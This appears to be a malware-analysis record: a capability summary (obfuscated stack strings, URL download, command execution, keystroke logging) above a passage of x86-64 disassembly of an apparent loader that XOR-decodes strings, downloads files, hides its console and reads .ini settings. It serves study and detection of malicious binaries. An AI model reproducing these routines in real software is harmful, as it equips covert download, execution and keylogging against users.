Function at 0x1400832d0
Capabilities:
Contain obfuscated stackstrings
Create thread
Delete file
Download url
Encode data using xor
Execute command
Log keystrokes via polling
Read .ini file
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f70]
mov eax, 0x2070
call fcn.1400e4aa0
sub rsp, rax
movaps xmmword [rsp + 0x2060], xmm6
movaps xmmword [rsp + 0x2050], xmm7
movaps xmmword [rsp + 0x2040], xmm8
movaps xmmword [rsp + 0x2030], xmm9
movaps xmmword [rsp + 0x2020], xmm10
movaps xmmword [rsp + 0x2010], xmm11
movaps xmmword [rsp + 0x2000], xmm12
movaps xmmword [rsp + 0x1ff0], xmm13
movaps xmmword [rsp + 0x1fe0], xmm14
movaps xmmword [rsp + 0x1fd0], xmm15
mov rax, qword [0x140170e40]
xor rax, rsp
mov qword [rbp + 0x1ec0], rax
mov dword [rbp + 0x10], 0x236e6f6b
mov dword [rbp + 0x14], 0x75776b
mov byte [rbp + 0x18], 1
xor r15d, r15d
mov ecx, r15d
nop
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x10], al
inc rcx
cmp rcx, 7
jb 0x140069060
mov byte [rbp + 0x18], r15b
xorps xmm0, xmm0
movups xmmword [rbp + 0x1480], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1490], xmm1
lea rax, [rbp + 0x10]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x140069094
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x1480]
call fcn.140057450
lea rcx, [rbp + 0x1480]
cmp qword [rbp + 0x1498], 0xf
cmova rcx, qword [rbp + 0x1480]
lea rdx, [0x140114a88]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x1400690e3
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor bl, bl
jmp 0x1400690e5
mov bl, 1
mov r8, qword [rbp + 0x1498]
cmp r8, 0xf
jbe 0x140069105
mov rdx, qword [rbp + 0x1480]
lea rcx, [rbp + 0x1480]
call fcn.140072a70
movdqa xmm0, xmmword [0x140115d70]
movdqu xmmword [rbp + 0x1490], xmm0
mov byte [rbp + 0x1480], r15b
test bl, bl
je 0x140069207
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov r8, rax
movdqa xmm0, xmmword [0x140116c40]
movdqu xmmword [rbp + 0x15c0], xmm0
movdqa xmm1, xmmword [0x1401167b0]
movdqu xmmword [rbp + 0x15d0], xmm1
movdqa xmm0, xmmword [0x140116860]
movdqu xmmword [rbp + 0x15e0], xmm0
mov dword [rbp + 0x15f0], 0x18014b57
mov word [rbp + 0x15f4], 0x5a
mov byte [rbp + 0x15f6], 1
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x15c0], al
inc rcx
cmp rcx, 0x35
jb 0x140069180
mov byte [rbp + 0x15f6], r15b
lea rdx, [rbp + 0x15c0]
lea rcx, [rbp + 0x1cc0]
call fcn.14005f120
mov dword [rbp + 0x88], 0x236e6f6b
mov dword [rbp + 0x8c], 0x75776b
mov byte [rbp + 0x90], 1
mov rcx, r15
nop dword [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x88], al
inc rcx
cmp rcx, 7
jb 0x1400691d0
mov byte [rbp + 0x90], r15b
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x88]
lea rdx, [rbp + 0x1cc0]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp + 0x248], 0x5a6e6f4b
mov dword [rbp + 0x24c], 0x61516167
mov dword [rbp + 0x250], 0x79703d7b
mov word [rbp + 0x254], 0x7a
mov byte [rbp + 0x256], 1
mov rcx, r15
nop dword [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x248], al
inc rcx
cmp rcx, 0xd
jb 0x140069240
mov byte [rbp + 0x256], r15b
xorps xmm0, xmm0
movups xmmword [rbp + 0x14a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x14b0], xmm1
lea rax, [rbp + 0x248]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x140069280
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x14a0]
call fcn.140057450
lea rcx, [rbp + 0x14a0]
cmp qword [rbp + 0x14b8], 0xf
cmova rcx, qword [rbp + 0x14a0]
lea rdx, [0x140114a88]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x1400692d2
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor bl, bl
jmp 0x1400692d4
mov bl, 1
mov r8, qword [rbp + 0x14b8]
cmp r8, 0xf
jbe 0x1400692f4
mov rdx, qword [rbp + 0x14a0]
lea rcx, [rbp + 0x14a0]
call fcn.140072a70
movdqa xmm0, xmmword [0x140115d70]
movdqu xmmword [rbp + 0x14b0], xmm0
mov byte [rbp + 0x14a0], r15b
test bl, bl
je 0x140069417
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov r8, rax
movdqa xmm0, xmmword [0x140116c40]
movdqu xmmword [rbp + 0x14c0], xmm0
movdqa xmm1, xmmword [0x1401167b0]
movdqu xmmword [rbp + 0x14d0], xmm1
movdqa xmm0, xmmword [0x140116680]
movdqu xmmword [rbp + 0x14e0], xmm0
mov dword [rbp + 0x14f0], 0x4e595653
mov dword [rbp + 0x14f4], 0x312d5e4a
mov dword [rbp + 0x14f8], 0x20667f
mov byte [rbp + 0x14fc], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x14c0], al
inc rcx
cmp rcx, 0x3b
jb 0x140069380
mov byte [rbp + 0x14fc], r15b
lea rdx, [rbp + 0x14c0]
lea rcx, [rbp + 0x1dc0]
call fcn.14005f120
mov dword [rbp + 0x2c8], 0x5a6e6f4b
mov dword [rbp + 0x2cc], 0x61516167
mov dword [rbp + 0x2d0], 0x79703d7b
mov word [rbp + 0x2d4], 0x7a
mov byte [rbp + 0x2d6], 1
mov rcx, r15
nop
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x2c8], al
inc rcx
cmp rcx, 0xd
jb 0x1400693e0
mov byte [rbp + 0x2d6], r15b
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x2c8]
lea rdx, [rbp + 0x1dc0]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
call qword [sym.imp.KERNEL32.dll_AllocConsole]
movdqa xmm0, xmmword [0x140116e60]
movdqu xmmword [rbp + 0x1318], xmm0
mov dword [rbp + 0x1328], 0x1006869
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1318], al
inc rcx
cmp rcx, 0x12
jb 0x140069440
mov byte [rbp + 0x132b], r15b
xor edx, edx
lea rcx, [rbp + 0x1318]
call qword [sym.imp.USER32.dll_FindWindowA]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [0x1401a7610]
call fcn.14008ea30
mov dword [rbp + 0x1bb0], 0x50
mov dword [rbp + 0x1bb4], 0x40
lea rax, [0x140072500]
mov qword [rbp + 0x1bb8], rax
mov qword [rbp + 0x1bc0], r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x1bc8], rax
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1bd0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1be0], xmm1
lea rax, str.Loaders
mov qword [rbp + 0x1bf0], rax
mov qword [rbp + 0x1bf8], r15
lea rcx, [rbp + 0x1bb0]
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov qword [rsp + 0x58], r15
mov rax, qword [rbp + 0x1bc8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], 5
mov dword [rsp + 0x30], 5
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
mov r9d, 0x80000000
lea r8, str.Hihihii
mov rdx, qword [rbp + 0x1bf0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rbx, rax
mov qword [0x1401a7278], rax
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call sub.d3d9.dll_Direct3DCreate9
mov rcx, rax
mov qword [0x1401a72d0], rax
test rax, rax
je 0x140072463
mov qword [0x1401a7290], r15
mov qword [0x1401a729c], r15
mov dword [0x1401a72a4], r15d
mov qword [0x1401a72ac], r15
mov dword [0x1401a72b4], r15d
mov qword [0x1401a72c4], r15
mov dword [0x1401a72b8], 1
mov dword [0x1401a72a8], 1
mov dword [0x1401a7298], r15d
mov dword [0x1401a72bc], 1
mov dword [0x1401a72c0], 0x50
mov dword [0x1401a72cc], 1
mov rax, qword [rax]
mov r10, qword [rax + 0x80]
lea rax, [0x1401a7280]
mov qword [rsp + 0x30], rax
lea rax, [0x1401a7290]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x40
mov r9, rbx
xor edx, edx
lea r8d, [rdx + 1]
call r10
test eax, eax
js 0x140072463
xor edx, edx
mov rcx, qword [0x1401a7278]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1401a7278]
call qword [sym.imp.USER32.dll_UpdateWindow]
xor ecx, ecx
call fcn.140011950
call fcn.14001c4b0
mov r13, rax
mov qword [rax + 0x18], r15
or dword [rax], 0x400
mov rcx, qword [0x1401a7278]
call fcn.140040cf0
mov rcx, qword [0x1401a7280]
call fcn.14003f7c0
movdqa xmm0, xmmword [0x140116ed0]
movdqu xmmword [rbp + 0x1390], xmm0
mov word [rbp + 0x13a0], 0x100
mov rcx, r15
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1390], al
inc rcx
cmp rcx, 0x10
jb 0x140069672
mov byte [rbp + 0x13a1], r15b
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, [rbp + 0x1390]
lea rcx, [0x1401a7450]
call fcn.14007eb10
lea rbx, [0x1401a7440]
xor r8d, r8d
test rax, rax
mov rax, qword [0x1401a7440]
movsxd rcx, dword [rax + 4]
je 0x1400696d0
add rcx, rbx
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x1400696de
add rcx, rbx
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea r8, [0x1401a7180]
mov rdx, 0xffffffffffffffff
mov rcx, rbx
call fcn.1400591c0
mov rcx, rbx
call fcn.1400746c0
mov rcx, qword [r13 + 0xa0]
movdqa xmm0, xmmword [0x140116ae0]
movdqu xmmword [rbp + 0x1238], xmm0
mov dword [rbp + 0x1248], 0x717d7846
mov dword [rbp + 0x124c], 0x48527d77
mov dword [rbp + 0x1250], 0x51500d40
mov word [rbp + 0x1254], 0x40
mov byte [rbp + 0x1256], 1
mov rdx, r15
nop dword [rax]
nop dword [rax + rax]
lea eax, [rdx + 0xa]
xor byte [rbp + rdx + 0x1238], al
inc rdx
cmp rdx, 0x1d
jb 0x140069750
mov byte [rbp + 0x1256], r15b
mov qword [rsp + 0x20], r15
xor r9d, r9d
movss xmm2, dword [0x1400ec0a0]
lea rdx, [rbp + 0x1238]
call fcn.14002f230
mov qword [0x1401a7148], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c80], xmm0
movups xmmword [rbp + 0x1c90], xmm0
movups xmmword [rbp + 0x1ca0], xmm0
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x14007e2a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [reloc.WS2_32.dll_accept], r15b
je 0x14006a515
mov dword [rbp - 0x20], 0x64686067
mov dword [rbp - 0x1c], 0x2b532f7c
mov dword [rbp - 0x18], 0x7c7b454e
mov dword [rbp - 0x14], 0x1004b72
mov rcx, r15
nop dword [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0xe
jb 0x140069800
mov byte [rbp - 0x11], r15b
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x1b80]
call fcn.14005fb00
mov rcx, rax
call fcn.140081b50
movdqa xmm0, xmmword [0x140116d40]
movdqu xmmword [rbp + 0x1298], xmm0
movdqa xmm1, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x12a8], xmm1
movdqa xmm0, xmmword [0x140116730]
movdqu xmmword [rbp + 0x12b8], xmm0
mov dword [rbp + 0x12c8], 0x1005254
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1298], al
inc rcx
cmp rcx, 0x32
jb 0x140069870
mov byte [rbp + 0x12cb], r15b
lea rdx, [rbp + 0x1298]
lea rcx, [rbp + 0x1b00]
call fcn.14005fb00
lea rcx, [rbp + 0x1b00]
call fcn.140063df0
movzx ebx, al
lea rcx, [rbp + 0x1b00]
call fcn.140060910
test bl, bl
je 0x1400699a8
movdqa xmm0, xmmword [0x140116d50]
movdqu xmmword [rbp + 0x1950], xmm0
movdqa xmm1, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x1960], xmm1
movdqa xmm0, xmmword [0x140116730]
movdqu xmmword [rbp + 0x1970], xmm0
mov dword [rbp + 0x1980], 0x1005254
lea rcx, [rbp + 0x1950]
call fcn.140074090
mov rdx, rax
lea rcx, [rbp + 0x1ae0]
call fcn.14005fb00
lea rcx, [rbp + 0x1ae0]
call fcn.140063df0
movzx ebx, al
lea rcx, [rbp + 0x1ae0]
call fcn.140060910
test bl, bl
je 0x1400699a8
movdqa xmm0, xmmword [0x140116d60]
movdqu xmmword [rbp + 0x1988], xmm0
movdqa xmm1, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x1998], xmm1
movdqa xmm0, xmmword [0x140116730]
movdqu xmmword [rbp + 0x19a8], xmm0
mov dword [rbp + 0x19b8], 0x1005254
lea rcx, [rbp + 0x1988]
call fcn.140074090
mov rdx, rax
lea rcx, [rbp + 0x1b20]
call fcn.14005fb00
lea rcx, [rbp + 0x1b20]
call fcn.140063df0
movzx ebx, al
lea rcx, [rbp + 0x1b20]
call fcn.140060910
test bl, bl
jne 0x1400699cf
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140074870]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movdqa xmm0, xmmword [0x140116d40]
movdqu xmmword [rbp + 0x1680], xmm0
movdqa xmm1, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x1690], xmm1
movdqa xmm0, xmmword [0x140116730]
movdqu xmmword [rbp + 0x16a0], xmm0
mov dword [rbp + 0x16b0], 0x1005254
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1680], al
inc rcx
cmp rcx, 0x32
jb 0x140069a10
mov byte [rbp + 0x16b3], r15b
mov dword [rbp + 0x148], 0x6179664f
mov dword [rbp + 0x14c], 0x637f7b6f
mov word [rbp + 0x150], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x148], al
inc rcx
cmp rcx, 8
jb 0x140069a50
mov byte [rbp + 0x151], r15b
mov dword [rbp - 0x68], 0x68616a4d
mov word [rbp - 0x64], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx - 0x68], al
inc rcx
cmp rcx, 4
jb 0x140069a80
mov byte [rbp - 0x63], r15b
lea r9, [rbp + 0x1680]
mov r8d, dword [0x1401a7118]
lea rdx, [rbp + 0x148]
lea rcx, [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov r8d, eax
mov dword [0x1401a7118], eax
movdqa xmm0, xmmword [0x140116d50]
movdqu xmmword [rbp + 0x1648], xmm0
movdqa xmm1, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x1658], xmm1
movdqa xmm0, xmmword [0x140116730]
movdqu xmmword [rbp + 0x1668], xmm0
mov dword [rbp + 0x1678], 0x1005254
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1648], al
inc rcx
cmp rcx, 0x32
jb 0x140069b00
mov byte [rbp + 0x167b], r15b
mov dword [rbp + 0x138], 0x6179664f
mov dword [rbp + 0x13c], 0x637f7b6f
mov word [rbp + 0x140], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x138], al
inc rcx
cmp rcx, 8
jb 0x140069b40
mov byte [rbp + 0x141], r15b
mov dword [rbp - 0x60], 0x68616a4d
mov word [rbp - 0x5c], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 4
jb 0x140069b70
mov byte [rbp - 0x5b], r15b
lea r9, [rbp + 0x1648]
lea rdx, [rbp + 0x138]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov r8d, eax
mov dword [0x1401a7118], eax
movdqa xmm0, xmmword [0x140116d60]
movdqu xmmword [rbp + 0x1728], xmm0
movdqa xmm1, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x1738], xmm1
movdqa xmm0, xmmword [0x140116730]
movdqu xmmword [rbp + 0x1748], xmm0
mov dword [rbp + 0x1758], 0x1005254
mov rcx, r15
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1728], al
inc rcx
cmp rcx, 0x32
jb 0x140069be2
mov byte [rbp + 0x175b], r15b
mov dword [rbp + 0x128], 0x6179664f
mov dword [rbp + 0x12c], 0x637f7b6f
mov word [rbp + 0x130], 0x100
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x128], al
inc rcx
cmp rcx, 8
jb 0x140069c20
mov byte [rbp + 0x131], r15b
mov dword [rbp - 0x58], 0x68616a4d
mov word [rbp - 0x54], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx - 0x58], al
inc rcx
cmp rcx, 4
jb 0x140069c50
mov byte [rbp - 0x53], r15b
lea r9, [rbp + 0x1728]
lea rdx, [rbp + 0x128]
lea rcx, [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [0x1401a7118], eax
movdqa xmm0, xmmword [0x140116d40]
movdqu xmmword [rbp + 0x1610], xmm0
movdqa xmm1, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x1620], xmm1
movdqa xmm0, xmmword [0x140116730]
movdqu xmmword [rbp + 0x1630], xmm0
mov dword [rbp + 0x1640], 0x1005254
mov rcx, r15
nop
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1610], al
inc rcx
cmp rcx, 0x32
jb 0x140069cc0
mov byte [rbp + 0x1643], r15b
mov dword [rbp + 0x98], 0x7e7e6e5c
mov dword [rbp + 0x9c], 0x7e6067
mov byte [rbp + 0xa0], 1
mov rcx, r15
nop dword [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x98], al
inc rcx
cmp rcx, 7
jb 0x140069d00
mov byte [rbp + 0xa0], r15b
mov dword [rbp + 0x4a8], 0x68616a4d
mov word [rbp + 0x4ac], 0x100
lea rcx, [rbp + 0x4a8]
call fcn.140073af0
lea r9, [rbp + 0x1610]
mov r8d, dword [0x1401a710c]
lea rdx, [rbp + 0x98]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov esi, eax
mov dword [0x1401a710c], eax
movdqa xmm0, xmmword [0x140116d50]
movdqu xmmword [rbp + 0x19c0], xmm0
movdqa xmm1, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x19d0], xmm1
movdqa xmm0, xmmword [0x140116730]
movdqu xmmword [rbp + 0x19e0], xmm0
mov dword [rbp + 0x19f0], 0x1005254
lea rcx, [rbp + 0x19c0]
call fcn.140074090
mov rdi, rax
mov dword [rbp + 0x8f8], 0x7e7e6e5c
mov dword [rbp + 0x8fc], 0x7e6067
mov byte [rbp + 0x900], 1
lea rcx, [rbp + 0x8f8]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x4b0], 0x68616a4d
mov word [rbp + 0x4b4], 0x100
lea rcx, [rbp + 0x4b0]
call fcn.140073af0
mov r9, rdi
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov esi, eax
mov dword [0x1401a710c], eax
movdqa xmm0, xmmword [0x140116d60]
movdqu xmmword [rbp + 0x19f8], xmm0
movdqa xmm1, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x1a08], xmm1
movdqa xmm0, xmmword [0x140116730]
movdqu xmmword [rbp + 0x1a18], xmm0
mov dword [rbp + 0x1a28], 0x1005254
lea rcx, [rbp + 0x19f8]
call fcn.140074090
mov rdi, rax
mov dword [rbp + 0x908], 0x7e7e6e5c
mov dword [rbp + 0x90c], 0x7e6067
mov byte [rbp + 0x910], 1
lea rcx, [rbp + 0x908]
call fcn.140073b80
mov rbx, rax
mov dword [rbp + 0x4b8], 0x68616a4d
mov word [rbp + 0x4bc], 0x100
lea rcx, [rbp + 0x4b8]
call fcn.140073af0
mov r9, rdi
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [0x1401a710c], eax
movdqa xmm0, xmmword [0x140116d40]
movdqu xmmword [rbp + 0x16f0], xmm0
movdqa xmm1, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x1700], xmm1
movdqa xmm0, xmmword [0x140116730]
movdqu xmmword [rbp + 0x1710], xmm0
mov dword [rbp + 0x1720], 0x1005254
mov rcx, r15
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x16f0], al
inc rcx
cmp rcx, 0x32
jb 0x140069ef2
mov byte [rbp + 0x1723], r15b
mov dword [rbp + 0x4c0], 0x68686447
mov word [rbp + 0x4c4], 0x100
lea rcx, [rbp + 0x4c0]
call fcn.140073af0
mov rbx, rax
mov dword [rbp + 0x4c8], 0x68616a4d
mov word [rbp + 0x4cc], 0x100
lea rcx, [rbp + 0x4c8]
call fcn.140073af0
lea r9, [rbp + 0x16f0]
mov r8d, dword [0x1401a7110]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov esi, eax
mov dword [0x1401a7110], eax
movdqa xmm0, xmmword [0x140116d50]
movdqu xmmword [rbp + 0x1a30], xmm0
movdqa xmm1, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x1a40], xmm1
movdqa xmm0, xmmword [0x140116730]
movdqu xmmword [rbp + 0x1a50], xmm0
mov dword [rbp + 0x1a60], 0x1005254
lea rcx, [rbp + 0x1a30]
call fcn.140074090
mov rdi, rax
mov dword [rbp + 0x4d0], 0x68686447
mov word [rbp + 0x4d4], 0x100
lea rcx, [rbp + 0x4d0]
call fcn.140073af0
mov rbx, rax
mov dword [rbp + 0x4d8], 0x68616a4d
mov word [rbp + 0x4dc], 0x100
lea rcx, [rbp + 0x4d8]
call fcn.140073af0
mov r9, rdi
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov esi, eax
mov dword [0x1401a7110], eax
movdqa xmm0, xmmword [0x140116d60]
movdqu xmmword [rbp + 0x1a68], xmm0
movdqa xmm1, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x1a78], xmm1
movdqa xmm0, xmmword [0x140116730]
movdqu xmmword [rbp + 0x1a88], xmm0
mov dword [rbp + 0x1a98], 0x1005254
lea rcx, [rbp + 0x1a68]
call fcn.140074090
mov rdi, rax
mov dword [rbp + 0x4e0], 0x68686447
mov word [rbp + 0x4e4], 0x100
lea rcx, [rbp + 0x4e0]
call fcn.140073af0
mov rbx, rax
mov dword [rbp + 0x4e8], 0x68616a4d
mov word [rbp + 0x4ec], 0x100
lea rcx, [rbp + 0x4e8]
call fcn.140073af0
mov r9, rdi
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [0x1401a7110], eax
movdqa xmm0, xmmword [0x140116d40]
movdqu xmmword [rbp + 0x1800], xmm0
movdqa xmm1, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x1810], xmm1
movdqa xmm0, xmmword [0x140116730]
movdqu xmmword [rbp + 0x1820], xmm0
mov dword [rbp + 0x1830], 0x1005254
lea rcx, [rbp + 0x1800]
call fcn.140074090
mov rdi, rax
movzx esi, byte [0x1401a760b]
mov dword [rbp + 0xbf8], 0x4e7f625c
mov dword [rbp + 0xbfc], 0x7a736a66
mov word [rbp + 0xc00], 0x100
lea rcx, [rbp + 0xbf8]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x4f0], 0x68616a4d
mov word [rbp + 0x4f4], 0x100
lea rcx, [rbp + 0x4f0]
call fcn.140073af0
mov r9, rdi
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
test eax, eax
setne bl
mov byte [0x1401a760b], bl
movdqa xmm0, xmmword [0x140116d50]
movdqu xmmword [rbp + 0x1838], xmm0
movdqa xmm1, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x1848], xmm1
movdqa xmm0, xmmword [0x140116730]
movdqu xmmword [rbp + 0x1858], xmm0
mov dword [rbp + 0x1868], 0x1005254
lea rcx, [rbp + 0x1838]
call fcn.140074090
mov rdi, rax
movzx esi, bl
mov dword [rbp + 0xbe8], 0x4e7f625c
mov dword [rbp + 0xbec], 0x7a736a66
mov word [rbp + 0xbf0], 0x100
lea rcx, [rbp + 0xbe8]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x4f8], 0x68616a4d
mov word [rbp + 0x4fc], 0x100
lea rcx, [rbp + 0x4f8]
call fcn.140073af0
mov r9, rdi
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
test eax, eax
setne bl
mov byte [0x1401a760b], bl
movdqa xmm0, xmmword [0x140116d60]
movdqu xmmword [rbp + 0x1870], xmm0
movdqa xmm1, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x1880], xmm1
movdqa xmm0, xmmword [0x140116730]
movdqu xmmword [rbp + 0x1890], xmm0
mov dword [rbp + 0x18a0], 0x1005254
lea rcx, [rbp + 0x1870]
call fcn.140074090
mov rdi, rax
movzx esi, bl
mov dword [rbp + 0xbd8], 0x4e7f625c
mov dword [rbp + 0xbdc], 0x7a736a66
mov word [rbp + 0xbe0], 0x100
lea rcx, [rbp + 0xbd8]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x500], 0x68616a4d
mov word [rbp + 0x504], 0x100
lea rcx, [rbp + 0x500]
call fcn.140073af0
mov r9, rdi
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
test eax, eax
setne byte [0x1401a760b]
movdqa xmm0, xmmword [0x140116d40]
movdqu xmmword [rbp + 0x18a8], xmm0
movdqa xmm1, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x18b8], xmm1
movdqa xmm0, xmmword [0x140116730]
movdqu xmmword [rbp + 0x18c8], xmm0
mov dword [rbp + 0x18d8], 0x1005254
lea rcx, [rbp + 0x18a8]
call fcn.140074090
mov rdi, rax
movzx esi, byte [0x1401a760a]
mov dword [rbp + 0xc08], 0x5d3f5b5e
mov dword [rbp + 0xc0c], 0x79737b6f
mov word [rbp + 0xc10], 0x100
lea rcx, [rbp + 0xc08]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x508], 0x68616a4d
mov word [rbp + 0x50c], 0x100
lea rcx, [rbp + 0x508]
call fcn.140073af0
mov r9, rdi
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
test eax, eax
setne bl
mov byte [0x1401a760a], bl
movdqa xmm0, xmmword [0x140116d50]
movdqu xmmword [rbp + 0x1918], xmm0
movdqa xmm1, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x1928], xmm1
movdqa xmm0, xmmword [0x140116730]
movdqu xmmword [rbp + 0x1938], xmm0
mov dword [rbp + 0x1948], 0x1005254
lea rcx, [rbp + 0x1918]
call fcn.140074090
mov rdi, rax
movzx esi, bl
mov dword [rbp + 0xc18], 0x5d3f5b5e
mov dword [rbp + 0xc1c], 0x79737b6f
mov word [rbp + 0xc20], 0x100
lea rcx, [rbp + 0xc18]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x388], 0x68616a4d
mov word [rbp + 0x38c], 0x100
lea rcx, [rbp + 0x388]
